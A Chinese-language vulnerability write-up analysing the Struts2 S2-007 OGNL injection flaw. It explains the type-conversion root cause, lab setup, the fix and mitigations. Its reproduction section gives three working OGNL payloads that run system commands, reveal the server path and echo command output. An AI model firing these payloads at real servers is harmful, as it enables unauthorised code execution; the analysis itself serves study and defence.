Java代码审计之Struts2-007(五)
字数 1485 2025-08-25 22:59:09
Struts2-007 远程代码执行漏洞分析与复现
漏洞概述
Struts2-007 (S2-007) 是一个远程代码执行漏洞,影响 Struts2 框架版本 2.0.0 到 2.2.3。该漏洞源于类型转换错误处理不当,导致攻击者可以通过构造恶意请求注入OGNL表达式,从而在服务器上执行任意代码。
影响版本
- Struts 2.0.0 - Struts 2.2.3
漏洞环境搭建
- 下载漏洞版本:
- http://archive.apache.org/dist/struts/binaries/struts-2.0.8-all.zip
- 使用 Vulhub 提供的环境:
- https://github.com/vulhub/vulhub/tree/master/struts2/s2-007
- 部署环境:
- Apache Tomcat/8.5.47 + struts-2.0.8
漏洞原理分析
核心问题
Struts2框架允许将HTTP请求数据注入到Action的属性中。当属性类型与输入类型不匹配时(如将字符串注入到Integer类型属性),会触发类型转换错误。框架会将用户输入的数据经过处理后返回给用户,在这个过程中存在OGNL表达式注入漏洞。
漏洞触发流程
-
类型转换错误触发:
- 当用户输入的数据类型与Action属性类型不匹配时(如字符串输入到Integer属性),触发类型转换错误
-
错误处理流程:
ConversionErrorInterceptor拦截器处理类型转换错误- 将用户输入的值存入
fakie变量 - 在存入前,使用
getOverrideExpr方法处理输入值
-
OGNL注入点:
getOverrideExpr方法在用户输入值两边拼接单引号- 处理后的值存入
OgnlValueStack.overrides变量 - 在解析Struts2结束标签时,会从
OgnlValueStack.overrides取出值并通过OGNL执行
关键代码分析
-
ConversionErrorInterceptor.intercept()方法:- 处理类型转换错误的入口点
- 将用户输入存入
fakie变量
-
getOverrideExpr()方法:protected Object getOverrideExpr(ActionInvocation invocation, Object value) { return "'" + value + "'"; }- 简单地在输入值前后添加单引号,没有进行任何过滤
-
OGNL执行点:
- 在标签解析过程中,未过滤的输入值被直接作为OGNL表达式执行
漏洞复现
攻击Payload示例
-
执行系统命令(弹计算器):
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,@java.lang.Runtime@getRuntime().exec("deepin-calculator"))+' -
获取服务器绝对路径:
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(#req.getRealPath("/")))+' -
执行命令并回显结果:
'+(#context["xwork.MethodAccessor.denyMethodExecution"]=false,#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter().write(new java.util.Scanner(@java.lang.Runtime@getRuntime().exec('ifconfig').getInputStream()).useDelimiter("\\Z").next()))+'
复现步骤
- 找到存在类型转换错误的输入点(如Integer类型字段)
- 在该字段输入上述任意Payload
- 观察服务器响应或执行结果
漏洞修复
官方在后续版本中修复了此漏洞,主要修改点:
- 使用
org.apache.commons.lang.StringEscapeUtils.escapeJava()过滤字符串 - 修复后的
getOverrideExpr方法会对特殊字符进行转义处理
修复代码对比:
- 左图(xwork-2.0.3):直接拼接单引号,无过滤
- 右图(xwork-2.2.3.1):使用
escapeJava()方法过滤
防护建议
- 升级到不受影响的Struts2版本
- 对用户输入进行严格过滤和验证
- 在类型转换错误处理中避免直接回显未过滤的用户输入
- 限制OGNL表达式的执行权限
参考
- 官方通告:https://cwiki.apache.org/confluence/display/WW/S2-007
- Struts2-Vuln项目:包含更多Struts2漏洞分析